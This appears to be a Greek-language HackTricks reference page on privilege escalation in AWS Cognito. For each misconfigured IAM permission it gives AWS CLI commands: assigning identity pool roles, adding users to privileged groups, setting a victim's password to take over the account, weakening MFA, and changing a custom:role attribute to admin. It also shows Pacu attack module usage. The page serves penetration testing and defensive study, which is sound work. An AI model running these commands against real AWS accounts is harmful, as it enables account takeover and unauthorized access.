AWS - Cognito Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Cognito

Για περισσότερες πληροφορίες σχετικά με Cognito, δείτε:

AWS - Cognito Enum

Συλλογή διαπιστευτηρίων από Identity Pool

Επειδή το Cognito μπορεί να χορηγήσει IAM role credentials τόσο σε authenticated όσο και σε unauthenticated users, αν εντοπίσετε το Identity Pool ID μιας εφαρμογής (συνήθως είναι hardcoded σε αυτήν) μπορείτε να αποκτήσετε νέα διαπιστευτήρια και συνεπώς privesc (μέσα σε έναν AWS λογαριασμό όπου πιθανότατα δεν είχατε καθόλου διαπιστευτήρια προηγουμένως).

Για περισσότερες πληροφορίες δείτε αυτή τη σελίδα.

Πιθανός Αντίκτυπος: Άμεσο privesc στο role της υπηρεσίας που είναι attached στους unauth users (και πιθανώς σε αυτό που είναι attached στους auth users).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Με αυτή την άδεια μπορείτε να εκχωρήσετε οποιοδήποτε cognito role στους authenticated/unauthenticated users της cognito app.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

Εάν η εφαρμογή cognito δεν έχει ενεργοποιημένους unauthenticated users ίσως χρειαστεί επίσης η άδεια cognito-identity:UpdateIdentityPool για να το ενεργοποιήσετε.

Ενδεχόμενη επίπτωση: Direct privesc σε οποιονδήποτε cognito role.

cognito-identity:update-identity-pool

Ένας επιτιθέμενος με αυτήν την άδεια θα μπορούσε, για παράδειγμα, να ρυθμίσει ένα Cognito User Pool υπό τον έλεγχό του ή οποιονδήποτε άλλο identity provider όπου μπορεί να κάνει login ως τρόπος πρόσβασης σε αυτό το Cognito Identity Pool. Στη συνέχεια, απλά το login σε αυτόν τον πάροχο χρηστών θα του επιτρέψει να αποκτήσει πρόσβαση στον ρυθμισμένο authenticated role στο Identity Pool.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Είναι επίσης δυνατό να καταχραστείτε αυτή την άδεια για να επιτρέψετε basic auth:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Πιθανός Αντίκτυπος: Παραβίαση του διαμορφωμένου authenticated IAM role εντός του identity pool.

cognito-idp:AdminAddUserToGroup

Αυτό το δικαίωμα επιτρέπει την προσθήκη ενός Cognito user σε μια Cognito group, επομένως ένας επιτιθέμενος θα μπορούσε να καταχραστεί αυτό το δικαίωμα για να προσθέσει έναν χρήστη υπό τον έλεγχό του σε άλλες ομάδες με καλύτερα προνόμια ή διαφορετικούς IAM roles:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Potential Impact: Privesc σε άλλα Cognito groups και IAM roles που είναι συνδεδεμένα με User Pool Groups.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Ένας επιτιθέμενος με αυτά τα δικαιώματα θα μπορούσε να δημιουργήσει/ενημερώσει ομάδες με κάθε IAM role που μπορεί να χρησιμοποιηθεί από έναν παραβιασμένο Cognito Identity Provider και να κάνει έναν παραβιασμένο χρήστη μέρος της ομάδας, αποκτώντας πρόσβαση σε όλους αυτούς τους ρόλους:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Potential Impact: Privesc σε άλλους ρόλους IAM του Cognito.

cognito-idp:AdminConfirmSignUp

Αυτή η άδεια επιτρέπει την επιβεβαίωση μιας εγγραφής. Από προεπιλογή, οποιοσδήποτε μπορεί να εγγραφεί σε εφαρμογές Cognito — αν αυτό παραμείνει ενεργό, ένας χρήστης μπορεί να δημιουργήσει λογαριασμό με οποιαδήποτε στοιχεία και να τον επιβεβαιώσει με αυτήν την άδεια.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Potential Impact: Έμμεση privesc στο identity pool IAM role για επαληθευμένους χρήστες αν μπορείτε να εγγράψετε νέο χρήστη. Έμμεση privesc σε άλλες λειτουργίες της εφαρμογής μέσω της δυνατότητας επιβεβαίωσης οποιουδήποτε λογαριασμού.

cognito-idp:AdminCreateUser

Αυτή η άδεια θα επιτρέψει σε έναν attacker να δημιουργήσει νέο χρήστη μέσα στο user pool. Ο νέος χρήστης δημιουργείται ως enabled, αλλά θα πρέπει να αλλάξει τον κωδικό πρόσβασής του.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Πιθανός Αντίκτυπος: Άμεσο privesc στο identity pool IAM role για authenticated users. Έμμεσο privesc σε άλλες λειτουργίες της εφαρμογής που επιτρέπουν τη δημιουργία οποιουδήποτε χρήστη

cognito-idp:AdminEnableUser

Αυτές οι άδειες μπορούν να βοηθήσουν σε ένα πολύ edge-case σενάριο όπου ένας attacker βρήκε τα credentials ενός disabled χρήστη και χρειάζεται να τον ενεργοποιήσει ξανά.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Δυνητική Επίπτωση: Έμμεση privesc στο identity pool IAM role για authenticated users και στα permissions του χρήστη αν ο attacker είχε credentials για disabled user.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Αυτή η άδεια επιτρέπει να συνδεθείτε με την method ADMIN_USER_PASSWORD_AUTH. Για περισσότερες πληροφορίες ακολουθήστε τον σύνδεσμο.

cognito-idp:AdminSetUserPassword

Αυτή η άδεια θα επέτρεπε σε έναν attacker να set a known password for any user, συνήθως οδηγώντας σε direct account takeover (ειδικά αν το θύμα δεν έχει ενεργοποιήσει MFA, ή αν το MFA δεν επιβάλλεται για το σχετικό auth flow/client).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Συνήθης ροή εργασίας:

REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
VICTIM_USERNAME="<victim_username_or_email>"
NEW_PASS='P@ssw0rd-ChangeMe-123!'

# 1) Set a permanent password for the victim (takeover primitive)
aws cognito-idp admin-set-user-password \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$VICTIM_USERNAME" \
--password "$NEW_PASS" \
--permanent

# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
CLIENT_ID="<user_pool_app_client_id>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"

Σχετική άδεια: cognito-idp:AdminResetUserPassword μπορεί να χρησιμοποιηθεί για να αναγκάσει μια ροή επαναφοράς για ένα θύμα (ο αντίκτυπος εξαρτάται από το πώς έχει υλοποιηθεί η ανάκτηση κωδικού και τι μπορεί να υποκλέψει ή να ελέγξει ο επιτιθέμενος).

Πιθανός Αντίκτυπος: Κατάληψη λογαριασμών οποιωνδήποτε χρηστών; πρόσβαση σε προνόμια επιπέδου εφαρμογής (groups/roles/claims) και οτιδήποτε downstream που εμπιστεύεται Cognito tokens; ενδεχόμενη πρόσβαση σε Identity Pool authenticated IAM roles.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Ένας επιτιθέμενος θα μπορούσε ενδεχομένως να καταχραστεί αυτήν την άδεια για να ορίσει ένα κινητό τηλέφωνο υπό τον έλεγχό του ως SMS MFA ενός χρήστη.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Παρόμοιο με το προηγούμενο, αυτό το δικαίωμα μπορεί να χρησιμοποιηθεί για να ορίσει τις προτιμήσεις MFA ενός χρήστη ώστε να παρακαμφθεί η προστασία MFA.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Παρόμοια με την προηγούμενη, αυτή η άδεια μπορεί να χρησιμοποιηθεί για να ορίσει τις προτιμήσεις MFA ενός user pool ώστε να παρακάμψει την προστασία MFA.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Είναι επίσης δυνατό να ενημερώσετε το User Pool για να αλλάξετε την πολιτική MFA. Check cli here.

Potential Impact: Έμμεσο privesc προς ενδεχομένως οποιονδήποτε χρήστη του οποίου ο attacker γνωρίζει τα credentials — αυτό μπορεί να επιτρέψει την παράκαμψη της προστασίας MFA.

cognito-idp:AdminUpdateUserAttributes

Ένας attacker με αυτή την permission μπορεί να αλλάξει οποιοδήποτε μεταβλητό attribute ενός User Pool user (συμπεριλαμβανομένων των custom:* attributes) για να προσπαθήσει να αποκτήσει προνόμια σε μια υποκείμενη εφαρμογή.

Ένα κοινό μοτίβο με μεγάλο αντίκτυπο είναι το claim-based RBAC που υλοποιείται χρησιμοποιώντας custom attributes (για παράδειγμα custom:role=admin). Εάν η εφαρμογή εμπιστεύεται αυτό το claim, η ενημέρωσή του και ο επανέλεγχος ταυτότητας μπορούν να παρακάμψουν την εξουσιοδότηση χωρίς να αγγίξουν την εφαρμογή.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Παράδειγμα: αναβαθμίστε το δικό σας role και ανανεώστε τα refresh tokens:

REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
USERNAME="<your_username>"

# 1) Change the RBAC attribute (example)
aws cognito-idp admin-update-user-attributes \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$USERNAME" \
--user-attributes Name="custom:role",Value="admin"

# 2) Re-authenticate to obtain a token with updated claims
CLIENT_ID="<user_pool_app_client_id>"
PASSWORD="<your_password>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"

Δυνητικός αντίκτυπος: Έμμεσο privesc σε εφαρμογές που εμπιστεύονται τα attributes/claims του Cognito για εξουσιοδότηση· δυνατότητα τροποποίησης άλλων χαρακτηριστικών κρίσιμων για την ασφάλεια (για παράδειγμα, το να οριστεί το email_verified ή το phone_number_verified σε true μπορεί να έχει σημασία σε ορισμένες εφαρμογές).

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Ένας επιτιθέμενος με αυτήν την άδεια θα μπορούσε να δημιουργήσει ένα νέο User Pool Client με λιγότερους περιορισμούς σε σχέση με τους ήδη υπάρχοντες clients του pool. Για παράδειγμα, ο νέος client θα μπορούσε να επιτρέπει οποιονδήποτε τρόπο πιστοποίησης, να μην έχει κάποιο secret, να απενεργοποιεί το token revocation, να επιτρέπει στα tokens να ισχύουν για μεγαλύτερο χρονικό διάστημα…

Το ίδιο μπορεί να γίνει εάν, αντί να δημιουργηθεί νέος client, τροποποιηθεί ένας υπάρχων.

Στην γραμμή εντολών (ή στην ενημέρωση) μπορείτε να δείτε όλες τις επιλογές — ελέγξτε το!

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Πιθανός Αντίκτυπος: Πιθανό έμμεσο privesc στον εξουσιοδοτημένο χρήστη του Identity Pool που χρησιμοποιείται από το User Pool, μέσω δημιουργίας ενός νέου client που χαλαρώνει τα μέτρα ασφαλείας και καθιστά δυνατό σε έναν attacker να login με έναν χρήστη που κατάφερε να δημιουργήσει.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Ένας attacker θα μπορούσε να καταχραστεί αυτή την άδεια για να δημιουργήσει χρήστες ανεβάζοντας ένα CSV με νέους χρήστες.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(Στην περίπτωση που δημιουργήσετε ένα νέο import job ίσως χρειαστείτε επίσης την iam passrole permission, δεν το έχω δοκιμάσει ακόμα).

Potential Impact: Άμεσο privesc στο identity pool IAM role για επαληθευμένους χρήστες. Έμμεσο privesc σε άλλες λειτουργίες της εφαρμογής που θα μπορούν να δημιουργήσουν οποιονδήποτε χρήστη.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Ένας επιτιθέμενος θα μπορούσε να δημιουργήσει έναν νέο identity provider ώστε στη συνέχεια να είναι σε θέση να login through this provider.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Δυνητικός Αντίκτυπος: Άμεσο privesc στο identity pool IAM role για επαληθευμένους χρήστες. Έμμεσο privesc σε άλλες λειτουργίες της εφαρμογής που μπορούν να δημιουργήσουν οποιονδήποτε χρήστη.

cognito-sync:* Ανάλυση

Πρόκειται για μια πολύ κοινή άδεια από προεπιλογή σε roles των Cognito Identity Pools. Ακόμα κι αν ένα wildcard σε permissions φαίνεται πάντα επικίνδυνο (ειδικά όταν προέρχεται από AWS), οι παρεχόμενες άδειες δεν είναι ιδιαίτερα χρήσιμες από την οπτική ενός επιτιθέμενου.

Αυτή η άδεια επιτρέπει την ανάγνωση πληροφοριών χρήσης των Identity Pools και των Identity IDs μέσα στα Identity Pools (που δεν είναι ευαίσθητες πληροφορίες).
Τα Identity IDs μπορεί να έχουν Datasets ανατεθειμένα σε αυτά, τα οποία είναι πληροφορίες των sessions (η AWS τα ορίζει σαν saved game). Ενδέχεται αυτά να περιέχουν κάποιο είδος ευαίσθητων πληροφοριών (αλλά η πιθανότητα είναι πολύ χαμηλή). Μπορείτε να βρείτε στην enumeration page πώς να αποκτήσετε πρόσβαση σε αυτές τις πληροφορίες.

Ένας επιτιθέμενος θα μπορούσε επίσης να χρησιμοποιήσει αυτές τις άδειες για να enroll himself to a Cognito stream that publish changes σε αυτά τα datasets ή σε ένα lambda that triggers on cognito events. Δεν έχω δει να χρησιμοποιείται αυτό, και δεν θα περίμενα ευαίσθητες πληροφορίες εδώ, αλλά δεν είναι αδύνατο.

Αυτόματα Εργαλεία

  • Pacu, το AWS exploitation framework, πλέον περιλαμβάνει τα “cognito__enum” και “cognito__attack” modules που αυτοματοποιούν την enumeration όλων των Cognito assets σε έναν λογαριασμό και εντοπίζουν αδύναμες ρυθμίσεις, user attributes που χρησιμοποιούνται για access control, κ.λπ., και επίσης αυτοματοποιούν τη δημιουργία χρηστών (συμπεριλαμβανομένης της υποστήριξης MFA) και privilege escalation βασισμένο σε modifiable custom attributes, usable identity pool credentials, assumable roles σε id tokens, κ.λπ.

Για περιγραφή των λειτουργιών των modules δείτε το μέρος 2 του blog post. Για οδηγίες εγκατάστασης δείτε την κύρια σελίδα Pacu.

Χρήση

Παράδειγμα χρήσης cognito__attack για προσπάθεια δημιουργίας χρήστη και όλων των privesc vectors εναντίον ενός δεδομένου identity pool και user pool client:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Παράδειγμα χρήσης του cognito__enum για τη συλλογή όλων των user pools, user pool clients, identity pools, users κ.λπ. που είναι ορατά στον τρέχοντα AWS λογαριασμό:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner είναι ένα CLI εργαλείο σε python που υλοποιεί διάφορες επιθέσεις σε Cognito, συμπεριλαμβανομένης μιας privesc escalation.

Εγκατάσταση

$ pip install cognito-scanner

Χρήση

$ cognito-scanner --help

Για περισσότερες πληροφορίες δείτε https://github.com/padok-team/cognito-scanner

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks